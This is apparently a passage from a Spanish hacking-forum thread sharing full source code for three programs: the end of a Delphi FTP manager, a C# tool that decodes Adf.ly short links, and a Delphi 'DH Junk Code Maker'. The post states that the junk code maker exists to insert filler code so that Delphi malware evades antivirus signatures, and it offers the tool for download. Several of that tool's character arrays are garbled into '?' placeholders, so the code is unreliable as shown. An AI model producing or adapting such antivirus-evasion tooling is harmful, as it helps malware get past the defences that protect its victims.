    for i := 0 to DirectoriosEncontrados.Count - 1 do
    begin

      with ListaDeArchivosFTP do

      begin

        listate2 := ListaDeArchivosFTP.Items.Add;
        listate2.Caption := DirectoriosEncontrados.Items[i];
        listate2.SubItems.Add('File');
        listate2.ImageIndex := 1;

      end;
    end;

  end;

  procedure TFormHome.btnConnectClick(Sender: TObject);
  begin

    lv_FTP_Files.Items.Clear;

    directorios.Clear;
    archivos.Clear;

    if (btnConnect.Caption = 'Disconnect') then
    begin
      ftp_client.Disconnect;
      btnConnect.Caption := 'Connect';
      status.Panels[0].Text := '[+] Disconnected';
      FormHome.status.Update;
      txt_FTP_Directory.Text := '';
      MessageBox(0, 'Disconnected', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end
    else
    begin

      ftp_client.host := txtHost.Text;
      ftp_client.username := txtUsername.Text;
      ftp_client.password := txtPassword.Text;

      try
        ftp_client.connect;
        btnConnect.Caption := 'Disconnect';
        status.Panels[0].Text := '[+] Connected';
        FormHome.status.Update;

        txt_FTP_Directory.Text := '/';
        listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
          archivos);

        MessageBox(0, 'Connected', 'FTP Manager 1.0', MB_ICONINFORMATION);
      except
        status.Panels[0].Text := '[-] Error connecting to server';
        FormHome.status.Update;
        MessageBox(0, 'Error connecting to server', 'FTP Manager 1.0',
          MB_ICONERROR);
      end;
    end;

  end;

  procedure TFormHome.Delete1Click(Sender: TObject);
  var
    archivo: string;
  begin
    if Assigned(lvLocalFiles.Selected) then
    begin
      archivo := lvLocalFiles.Selected.Caption;
      if DeleteFile(txtMe_Directory.Text + '/' + archivo) then
      begin
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end;
        MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
      end
      else
      begin
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end;
  end;

  procedure TFormHome.Delete2Click(Sender: TObject);
  var
    archivo: string;
  begin
    if Assigned(lv_FTP_Files.Selected) then
    begin
      archivo := lv_FTP_Files.Selected.Caption;
      ftp_client.ChangeDir(txt_FTP_Directory.Text);
      try
        begin
          ftp_client.Delete(archivo);
          if not(txt_FTP_Directory.Text = '') then
          begin
            listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
              directorios, archivos);
          end;
          MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      except
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end;
  end;

  procedure TFormHome.btnDownloadClick(Sender: TObject);
  var
    fileabajar: string;
  begin

    if Assigned(lv_FTP_Files.Selected) then
    begin
      try
        begin
          fileabajar := lv_FTP_Files.Selected.Caption;;
          ftp_client.OnWork := ftp_clientWork;
          ftp_client.ChangeDir(txt_FTP_Directory.Text);

          progreso.Max := ftp_client.Size(ExtractFileName(fileabajar)) div 1024;

          ftp_client.Get(fileabajar, txtMe_Directory.Text + '/' + fileabajar,
            False, False);

          if not(txtMe_Directory.Text = '') then
          begin
            listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
          end;

          MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
            MB_ICONINFORMATION);
        end;
      except
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end
    else
    begin
      MessageBox(0, 'Select File to download', 'FTP Manager 1.0',
        MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.FormCreate(Sender: TObject);
  begin
    UseLatestCommonDialogs := False;
    txtMe_Directory.Text := GetCurrentDir + '\';
    listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
  end;

  procedure TFormHome.ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
    AWorkCount: Int64);
  begin
    status.Panels[0].Text := '[+] Working ...';
    FormHome.status.Update;

    progreso.Position := AWorkCount div 1024;
  end;

  procedure TFormHome.ftp_clientWorkBegin(ASender: TObject;
    AWorkMode: TWorkMode; AWorkCountMax: Int64);
  begin
    status.Panels[0].Text := '[+] Working ..';
    FormHome.status.Update;
  end;

  procedure TFormHome.ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  begin
    status.Panels[0].Text := '[+] Finished';
    FormHome.status.Update;
    progreso.Max := 0;
  end;

  procedure TFormHome.lv_FTP_FilesDblClick(Sender: TObject);
  begin
    if Assigned(lv_FTP_Files.Selected) then
    begin
      if (lv_FTP_Files.Selected.SubItems.Strings[0] = 'Directory') then
      begin
        ftp_client.ChangeDir(txt_FTP_Directory.Text +
          lv_FTP_Files.Selected.Caption + '/');
        listarftp(txt_FTP_Directory.Text + lv_FTP_Files.Selected.Caption + '/',
          lv_FTP_Files, ftp_client, directorios, archivos);
        txt_FTP_Directory.Text := ftp_client.RetrieveCurrentDir + '/';
      end;
    end
    else
    begin
      MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.btnList_FTPClick(Sender: TObject);
  begin
    if not(txt_FTP_Directory.Text = '') then
    begin
      listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
        archivos);
    end
    else
    begin
      MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.btnListMeClick(Sender: TObject);
  begin
    if not(txtMe_Directory.Text = '') then
    begin
      listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
    end
    else
    begin
      MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.lvLocalFilesDblClick(Sender: TObject);
  begin
    if Assigned(lvLocalFiles.Selected) then
    begin
      if (DirectoryExists(txtMe_Directory.Text + lvLocalFiles.Selected.Caption +
        '/')) then
      begin
        Chdir(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/');
        listar(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/',
          lvLocalFiles, local_iconos);
        txtMe_Directory.Text := GetCurrentDir + '\';
      end;
    end
    else
    begin
      MessageBox(0, 'Select Path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.MakeDirectory1Click(Sender: TObject);
  var
    directorio: string;
  begin
    directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
    try
      begin
        MkDir(txtMe_Directory.Text + '/' + directorio);
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end;
        MessageBox(0, 'Directory created', 'FTP Manager 1.0',
          MB_ICONINFORMATION);
      end;
    except
      MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
    end;
  end;

  procedure TFormHome.MakeDirectory2Click(Sender: TObject);
  var
    directorio: string;
  begin
    directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
    try
      begin
        ftp_client.ChangeDir(txt_FTP_Directory.Text);
        ftp_client.MakeDir(directorio);
        if not(txt_FTP_Directory.Text = '') then
        begin
          listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
            directorios, archivos);
        end;
        MessageBox(0, 'Directory created', 'FTP Manager 1.0',
          MB_ICONINFORMATION);
      end;
    except
      MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
    end;
  end;

  procedure TFormHome.Refresh1Click(Sender: TObject);
  begin
    if not(txtMe_Directory.Text = '') then
    begin
      listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
    end
    else
    begin
      MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
    end;
  end;

  procedure TFormHome.Refresh2Click(Sender: TObject);
  begin
    if not(txt_FTP_Directory.Text = '') then
    begin
      listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
        archivos);
    end;
  end;

  procedure TFormHome.Rename1Click(Sender: TObject);
  var
    original, new_name: string;
  begin
    if Assigned(lvLocalFiles.Selected) then
    begin
      original := lvLocalFiles.Selected.Caption;
      new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
      if RenameFile(txtMe_Directory.Text + '/' + original,
        txtMe_Directory.Text + '/' + new_name) then
      begin
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end;
        MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
      end
      else
      begin
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end;
  end;

  procedure TFormHome.Rename2Click(Sender: TObject);
  var
    original, new_name: string;
  begin
    if Assigned(lv_FTP_Files.Selected) then
    begin
      original := lv_FTP_Files.Selected.Caption;
      new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
      try
        begin
          ftp_client.ChangeDir(txt_FTP_Directory.Text);
          ftp_client.Rename(original, new_name);
          if not(txt_FTP_Directory.Text = '') then
          begin
            listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
              directorios, archivos);
          end;
          MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      except
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end;

  end;

  procedure TFormHome.btnUploadClick(Sender: TObject);
  var
    fileasubir: string;
    dirasubir: string;
    cantidad: File of byte;
  begin

    if Assigned(lvLocalFiles.Selected) then
    begin
      try
        begin
          fileasubir := txtMe_Directory.Text + lvLocalFiles.Selected.Caption;
          dirasubir := txt_FTP_Directory.Text;

          ftp_client.OnWork := ftp_clientWork;

          AssignFile(cantidad, fileasubir);
          Reset(cantidad);
          progreso.Max := FileSize(cantidad) div 1024;
          CloseFile(cantidad);

          ftp_client.ChangeDir(dirasubir);
          ftp_client.Put(fileasubir, lvLocalFiles.Selected.Caption, False);

          if not(txt_FTP_Directory.Text = '') then
          begin
            listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
              directorios, archivos);
          end;

          MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
            MB_ICONINFORMATION);
        end;
      except
        MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
      end;
    end
    else
    begin
      MessageBox(0, 'Select File to upload', 'FTP Manager 1.0',
        MB_ICONINFORMATION);
    end;
  end;

end.

// The End ?

  
  Si quieren bajar el programa lo pueden hacer de aca.

Un programa en C# para decodificar una URL de Adf.ly , este programa esta basado en la funcion publicada en VB.Net por fudmario para lograr esta tarea.

Tiene dos opciones , la primera es para decodificar una unica URL y la otra es para decodificar varias URLS en un archivo de texto.

Una imagen :



El codigo :

Código (csharp) [Seleccionar] Expandir


// Adf.ly Killer 0.5
// (C) Doddy Hackman 2016
// Credits : Thanks to fudmario

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Text.RegularExpressions;
using Microsoft.VisualBasic;
using System.IO;

namespace Adf.ly_Killer
{
   public partial class FormHome : Form
   {
       public FormHome()
       {
           InitializeComponent();
       }

       private void btnExit_Click(object sender, EventArgs e)
       {
           Application.Exit();
       }

       public string base64_encode(string texto)
       {
           return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(texto));
       }

       public string base64_decode(string texto)
       {
           return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(texto));
       }

       private Boolean check_link(string link)
       {
           Match regex = Regex.Match(link, "adf.ly", RegexOptions.IgnoreCase);
           if (regex.Success)
           {
               return true;
           }
           else
           {
               return false;
           }
       }

       private string adfly_decode(string link_to_decode)
       {
           string link_decoded = "";
           DH_Tools tools = new DH_Tools();
           string code = tools.toma(link_to_decode);
           Match regex = Regex.Match(code, "var ysmm = '(.*?)';", RegexOptions.IgnoreCase);
           if (regex.Success)
           {
               string link = regex.Groups[1].Value;
               string left = "";
               string right = "";
               for (int i = 0; i < link.Length; i++)
               {
                   if (i % 2 == 0)
                   {
                       left = left + Convert.ToString(link[i]);
                   }
                   else
                   {
                       right = Convert.ToString(link[i]) + right;
                   }
               }
               string link_encoded = base64_decode(left + right);
               string link_ready = link_encoded.Substring(2);
               link_decoded = link_ready;

           }
           if (link_decoded == "")
           {
               link_decoded = "???";
           }
           return link_decoded;
       }

       private void btnKill_Click(object sender, EventArgs e)
       {
           txtResult.Text = "";
           if (txtEnterLink.Text != "")
           {
               if (check_link(txtEnterLink.Text))
               {
                   status.Text = "[+] Decoding ...";
                   this.Refresh();
                   string result = adfly_decode(txtEnterLink.Text);
                   if (result != "???")
                   {
                       txtResult.Text = result;
                       status.Text = "[+] Link Decoded";
                       this.Refresh();
                   }
                   else
                   {
                       txtResult.Text = "Not Found";
                       status.Text = "[-] Not Found";
                       this.Refresh();
                   }
               }
               else
               {
                   status.Text = "[-] Link Invalid";
                   this.Refresh();
               }
           }
           else
           {
               status.Text = "[-] Enter Link to decode";
               this.Refresh();
           }
       }

       private void btnCopy_Click(object sender, EventArgs e)
       {
           try
           {
               Clipboard.Clear();
               Clipboard.SetText(txtResult.Text);
               status.Text = "[+] Link copied to clipboard";
               this.Refresh();
           }
           catch
           {
               //
           }
       }

       private void miAddLink_Click(object sender, EventArgs e)
       {
           string link = Interaction.InputBox("Enter Link : ", "Adf.ly Killer 0.5", "");
           if (link != "")
           {
               if (check_link(link))
               {
                   ListViewItem item = new ListViewItem();
                   item.Text = link;
                   item.SubItems.Add("...");
                   lvLinks.Items.Add(item);
                   status.Text = "[+] Link Added";
                   this.Refresh();
               }
               else
               {
                   status.Text = "[-] Link Invalid";
                   this.Refresh();
               }
           }
           else
           {
               status.Text = "[-] Enter Link";
               this.Refresh();
           }
       }

       private void miAddWordlist_Click(object sender, EventArgs e)
       {
           odOpenFile.InitialDirectory = System.IO.Path.GetDirectoryName(Application.ExecutablePath); ;
           DialogResult resultado = odOpenFile.ShowDialog();
           if (resultado == DialogResult.OK)
           {
               string filename = odOpenFile.FileName;
               int counter = 0;
               if (File.Exists(filename))
               {
                   var lines = File.ReadAllLines(filename);
                   foreach (var line in lines)
                   {
                       if (check_link(line))
                       {
                           ListViewItem item = new ListViewItem();
                           item.Text = line;
                           item.SubItems.Add("...");
                           lvLinks.Items.Add(item);
                           counter = counter + 1;
                       }
                   }
                   if (counter > 0)
                   {
                       status.Text = "[+] Links Added : " + counter.ToString();
                       this.Refresh();
                   }
                   else
                   {
                       status.Text = "[-] Links not found";
                       this.Refresh();
                   }
               }
               else
               {
                   status.Text = "[-] Enter Valid Filename";
                   this.Refresh();
               }
           }
       }

       private void miClearList_Click(object sender, EventArgs e)
       {
           lvLinks.Items.Clear();
       }

       private void miKill_Click(object sender, EventArgs e)
       {
           if (lvLinks.Items.Count > 0)
           {
               for (int i = 0; i < lvLinks.Items.Count; i++)
               {
                   ListViewItem item = lvLinks.Items[i];
                   string link_to_decode = item.Text;
                   status.Text = "[+] Checking : " + link_to_decode + " ...";
                   this.Refresh();
                   string result = adfly_decode(link_to_decode);
                   if (result != "???")
                   {
                       lvLinks.Items[i].SubItems[1].Text = result;
                       status.Text = "[+] " + link_to_decode+" : "+result;
                       this.Refresh();
                   }
                   else
                   {
                       lvLinks.Items[i].SubItems[1].Text = "Not Found";
                       status.Text = "[-] " + link_to_decode + " : " + "Not Found";
                       this.Refresh();
                   }
               }
               status.Text = "[+] Finished";
               this.Refresh();
           }
           else
           {
               status.Text = "[-] Links not found";
               this.Refresh();
           }
       }

       private void miCopy_Click(object sender, EventArgs e)
       {

           if (lvLinks.SelectedIndices.Count > 0 && lvLinks.SelectedIndices[0] != -1)
           {
               string link = lvLinks.SelectedItems[0].SubItems[1].Text;
               if (link != "..." || link!="Not Found")
               {
                   try
                   {
                       Clipboard.Clear();
                       Clipboard.SetText(link);
                       status.Text = "[+] Link copied to clipboard";
                       this.Refresh();
                   }
                   catch
                   {
                       //
                   }
               }
           }
       }

   }
}

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

Un programa en Delphi para generar codigo basura y lograr quitar algunas firmas de AV en un malware hecho en Delphi.

Tiene las siguientes opciones :

• Generar constantes
  
• Generar variables
  
• Generar varios for
  
• Generar funciones con variables
  
• Generar funciones con for
  
• Generar codigo con todas las funciones anteriores juntas
  
• Se puede establecer una lontigud para cada opcion
  
  Una imagen :
  
  
  
  El codigo :
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Junk Code Maker 0.4
// (C) Doddy Hackman 2016

unit junk;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  Vcl.ComCtrls, Vcl.Styles.Utils.Menus, Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Math, Vcl.Menus, Vcl.Imaging.pngimage,
  Vcl.ImgList;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    gbOutput: TGroupBox;
    mmOutput: TMemo;
    gbEnterLength: TGroupBox;
    txtLength: TEdit;
    udLength: TUpDown;
    gbType: TGroupBox;
    cmbOptions: TComboBox;
    gbOptions: TGroupBox;
    btnGenerate: TButton;
    ppOptions: TPopupMenu;
    copy: TMenuItem;
    clear: TMenuItem;
    ilIconos: TImageList;
    procedure btnGenerateClick(Sender: TObject);
    procedure clearClick(Sender: TObject);
    procedure copyClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function dh_generate_string(option: string; length_string: integer): string;
const
  letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
    'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
    'x', 'y', 'z');
const
  letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
    'X', 'Y', 'Z');
const
  numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
    '8', '9');

const
  cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?');

const
  no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?');

const
  no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '??');

const
  no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
    '_', '?', '`', '?', '_', '?');

const
  no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
    'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
    '˜', '?', '=');

const
  no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
    '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');

const
  no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?');
var
  code: string;
  gen_now: string;
  i: integer;
  index: integer;
begin

  gen_now := '';

  for i := 1 to length_string do
  begin
    if (option = '1') then
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end
    else if (option = '2') then
    begin
      gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
    end
    else if (option = '3') then
    begin
      gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
    end
    else if (option = '4') then
    begin
      gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
    end
    else if (option = '5') then
    begin
      gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
    end
    else if (option = '6') then
    begin
      gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
    end
    else if (option = '7') then
    begin
      gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
    end
    else if (option = '8') then
    begin
      gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
    end
    else if (option = '9') then
    begin
      gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
    end
    else if (option = '10') then
    begin
      gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
    end
    else
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end;
  end;
  code := gen_now;

  Result := code;
end;

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

//

procedure TFormHome.btnGenerateClick(Sender: TObject);
var
  id: string;
  i, y: integer;
  vars, vars2, name, name2, value, value2: string;
  strings, strings2: string;
  functions, code: string;
  limit_random: integer;
begin

  if (StrToInt(txtLength.Text) > 0) then
  begin

    if (cmbOptions.ItemIndex = 0) then
    begin
      for i := 1 to StrToInt(txtLength.Text) do
      begin
        name := dh_generate_string('1', 5);
        value := dh_generate_string('1', 20);
        mmOutput.Lines.Add('const ' + name + '=' + '''' + value + '''' + ';');
      end;
      mmOutput.Lines.Add('');
    end
    else if (cmbOptions.ItemIndex = 1) then
    begin

      vars := 'var ';
      strings := '';

      for i := 1 to StrToInt(txtLength.Text) do
      begin
        name := dh_generate_string('1', 5);
        value := dh_generate_string('1', 20);
        if (i = StrToInt(txtLength.Text)) then
        begin
          vars := vars + name + ':string;';
        end
        else
        begin
          vars := vars + name + ',';
        end;
        if (i = StrToInt(txtLength.Text)) then
        begin
          strings := strings + name + ':=' + '''' + value + '''' + ';';
        end
        else
        begin
          strings := strings + name + ':=' + '''' + value + '''' + ';' +
            sLineBreak;
        end;
      end;

      id := dh_generate_string('1', 5);

      code := 'procedure gen_vars_' + id + ';' + sLineBreak + vars + sLineBreak
        + 'begin' + sLineBreak + strings + sLineBreak + 'end;';

      mmOutput.Lines.Add(code);
      mmOutput.Lines.Add('');

    end
    else if (cmbOptions.ItemIndex = 2) then
    begin
      vars := 'var i,y:integer;';
      strings := '';
      for i := 1 to StrToInt(txtLength.Text) do
      begin
        value := dh_generate_string('3', 2);

        if (i = StrToInt(txtLength.Text)) then
        begin
          strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
            sLineBreak;
          strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
            'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;';
        end
        else
        begin
          strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
            sLineBreak;
          strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
            'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' + sLineBreak
            + sLineBreak;
        end;
      end;

      id := dh_generate_string('1', 5);

      code := 'procedure gen_fors_' + id + ';' + sLineBreak + vars + sLineBreak
        + 'begin' + sLineBreak + strings + sLineBreak + 'end;';

      mmOutput.Lines.Add(code);
      mmOutput.Lines.Add('');

    end
    else if (cmbOptions.ItemIndex = 3) then
    begin
      code := '';
      functions := '';

      for i := 1 to StrToInt(txtLength.Text) do
      begin
        vars := 'var ';
        strings := '';
        limit_random := StrToInt(dh_generate_string('3', 1));
        if (limit_random = 0) then
        begin
          limit_random := 5;
        end;
        for y := 1 to limit_random do
        begin
          name := dh_generate_string('1', 5);
          value := dh_generate_string('1', 20);
          if (y = limit_random) then
          begin
            vars := vars + name + ':string;';
          end
          else
          begin
            vars := vars + name + ',';
          end;
          if (y = limit_random) then
          begin
            strings := strings + name + ':=' + '''' + value + '''' + ';';
          end
          else
          begin
            strings := strings + name + ':=' + '''' + value + '''' + ';' +
              sLineBreak;
          end;
        end;

        id := dh_generate_string('1', 5);

        if (i = StrToInt(txtLength.Text)) then
        begin
          functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
            vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
            'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
            sLineBreak;
        end
        else
        begin
          functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
            vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
            'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
            sLineBreak + sLineBreak;
        end;

        code := code + functions;

      end;

      mmOutput.Lines.Add(code);
      // mmOutput.Lines.Add('');
    end
    else if (cmbOptions.ItemIndex = 4) then
    begin

      code := '';

      for i := 1 to StrToInt(txtLength.Text) do
      begin

        vars := 'var i,y:integer;';
        strings := '';
        limit_random := StrToInt(dh_generate_string('3', 1));

        if (limit_random = 0) then
        begin
          limit_random := 5;
        end;
        for y := 1 to limit_random do
        begin
          value := dh_generate_string('3', 2);

          if (i = limit_random) then
          begin
            strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
              sLineBreak;
            strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
              'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
              sLineBreak;
          end
          else
          begin
            strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
              sLineBreak;
            strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
              'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
              sLineBreak;
          end;
        end;

        id := dh_generate_string('3', 5);

        if (i = StrToInt(txtLength.Text)) then
        begin
          functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
            + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
            id + ';' + sLineBreak + 'end;' + sLineBreak;
        end
        else
        begin
          functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
            + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
            id + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
        end;

        code := code + functions;

      end;

      mmOutput.Lines.Add(code);
      // mmOutput.Lines.Add('');

    end
    else if (cmbOptions.ItemIndex = 5) then
    begin

      code := '';
      functions := '';

      for i := 1 to StrToInt(txtLength.Text) do
      begin

        vars := 'var ';
        strings := '';
        vars2 := 'var ';
        strings2 := '';

        limit_random := StrToInt(dh_generate_string('3', 1));

        if (limit_random = 0) then
        begin
          limit_random := 5;
        end;
        for y := 1 to limit_random do
        begin
          name := dh_generate_string('1', 20);
          name2 := dh_generate_string('1', 20);
          value := dh_generate_string('1', 20);
          value2 := dh_generate_string('3', 2);

          if (y = limit_random) then
          begin
            vars := vars + name + ':string;';
          end
          else
          begin
            vars := vars + name + ',';
          end;

          if (y = limit_random) then
          begin
            strings := strings + name + ':=' + '''' + value + '''' + ';';
          end
          else
          begin
            strings := strings + name + ':=' + '''' + value + '''' + ';' +
              sLineBreak;
          end;

          vars2 := 'var i,y:integer;';

          if (y = limit_random) then
          begin
            strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
              sLineBreak;
            strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
              sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
              'end;' + sLineBreak;
          end
          else
          begin
            strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
              sLineBreak;
            strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
              sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
              'end;' + sLineBreak;
          end;
        end;

        id := dh_generate_string('1', 5);

        if (i = StrToInt(txtLength.Text)) then
        begin
          functions := 'function gen_functions_' + id + '():string;' +
            sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
            sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
            id + '''' + ';' + sLineBreak + 'end;' + sLineBreak;
        end
        else
        begin
          functions := 'function gen_functions_' + id + '():string;' +
            sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
            sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
            id + '''' + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
        end;

        code := code + functions;
      end;

      mmOutput.Lines.Add(code);

    end;

    message_box('DH Junk Code Maker 0.4', 'Enjoy the junk source',
      'Information');
  end
  else
  begin
    message_box('DH Junk Code Maker 0.4',
      'The length should be greater than zero', 'Warning');
  end;
end;

procedure TFormHome.clearClick(Sender: TObject);
begin
  mmOutput.clear;
